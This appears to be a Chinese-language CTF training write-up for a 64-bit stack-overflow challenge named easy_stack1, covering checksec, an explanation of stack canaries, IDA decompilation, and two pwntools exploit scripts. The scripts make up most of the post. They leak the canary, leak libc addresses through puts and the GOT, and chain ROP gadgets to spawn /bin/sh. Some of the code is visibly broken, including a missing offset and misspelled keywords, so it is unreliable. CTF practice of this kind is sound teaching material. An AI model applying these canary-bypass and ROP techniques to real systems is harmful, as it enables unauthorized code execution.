一道easy_pwn的两种解法

在这里给自己做个记录。今日在学习栈溢出,训练营给我们出了一道题让我们练习。

题目

解题记录

1. 分析文件

(base) root@123:~/桌面# file easy_stack1
easy_stack1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=67d656f542879f1e4df509ece0d882eed9faaa2c, not stripped

ile easy_stack1发现这是一个linux elf可执行文件
勇敢checksec工具查看 easy_stack1,发现开启了Canary保护,并且patrical relro。


一道easy_pwn的两种解法_第1张图片
图片4.png

这说明该程序采用了金丝雀保护机制canary保护机制
所谓canary意思如下:
Canary保护机制的原理,是在一个函数入口处从fs段内获取一个随机值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。Canary最高字节一般是\x00,防止由于其他漏洞产生的Canary泄露

2.IDA 打开文件

用IDA Pro 64位打开


一道easy_pwn的两种解法_第2张图片
图片1.png

按F5按钮,查看伪代码


一道easy_pwn的两种解法_第3张图片
图片2.png

关键在于Vuln,双击如下所示:
一道easy_pwn的两种解法_第4张图片
图片3.png

3.解题思路

明显的的栈溢出漏洞,绕过canary,然后构造ROP链到执行‘/bin/sh’,获取shell
跟训练因的同伴交流有两个思路,一个是将payload到_bss段执行,一个是直接payload到system地址和bin_sh地址调用'\bin\sh'
思路一的exp如下:

rom pwn import *

main_addr = 0x4007d9
io = process('./easy_stack1')


elf = ELF('./easy_stack1')


#context.log_level='debug'
payload1 = 'a' * 104   #+ flat(0x0000000000400eb3,elf.got['__libc_start_main'],elf.plt['puts'],0x400A96)

 
io.sendlineafter("Lets get shell!\n",payload1)

io.recvuntil(payload1)
canary = u64(io.recv(8))-0xa
io.recv()
print 'canary: '+hex(canary)

poprdi_rn=0x400873
read_got=elf.got['read']
puts_plt=elf.plt['puts']

sleep(1)

payload='a'* 104
payload+=p64(canary)
payload+='a'*8
payload+=p64(poprdi_rn)
payload+=p64(read_got)+p64(puts_plt)
payload+=p64(main_addr)
io.sendline(payload)
read_addr =u64(io.recvuntil('\n',drop=True).ljust(0x8,'\x00'))
print 'read_addr: '+hex(read_addr)

syscall=read_addr+0x
print 'syscall: '+hex(syscall)


p6r=0x40086a
initaddr=0x400850
bss_addr=0x601070
io.sendlineafter("Lets get shell!\n","11\n")
sleep(1)
payload ='a'*104
payload+=p64(canary)
payload+='a'* 8
payload+=p64(p6r)
payload+=p64(0)+p64(1)+p64(read_got)+p64(0x43)+p64(bss_addr)+p64(0)  

payload+=p64(initaddr)
payload+=p64(0)
payload+=p64(0)+p64(1)+p64(bss_addr+8)+p64(0)+p64(0)+p64(bss_addr)
payload+=p64(initaddr)
io.send(payload)
payload='a'* 8
payload+='/bin/sh\x00'+p64(syscall)
payload=payload.ljust(0x43,'a')
io.send(payload)
print io.recv()
io.interactive()

思路2的exp

from pwn import *
context.log_level='debug'
libc_base=0xf7e04000
system_py=0x3ada0

pop_rdi_ret=0x400873
puts_got=0x601018
puts_plt=0x4005C0
read2=0x4007a7
p = process('canary3')

p.recvuntil('shell!')
p.sendline('a'*104)
p.recvuntil('a'*104)
ca=p.recv(8)
canary=u64(ca)-0xa
print(hex(canary))
rbp=u64(p.recv().ljust(8,'\x00'))
payload='a'*104+p64(canary)+p64(rbp)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x4007ac)
#payload='/bin/sh\n'+'a'*96+p64(canary)+'a'*8+p64(system_addr)+'a'*8
p.sendline(payload)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-0x6f690
print('libc: '+hex(libc_base))
systme_addr=libc_base+0x45390
bin_sh_addr=libc_base+0x18cd57
payload='a'*104+p64(canary)+'a'*16+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(systme_addr)
p.sendline(payload)
p.interactive()

你可能感兴趣的:(一道easy_pwn的两种解法)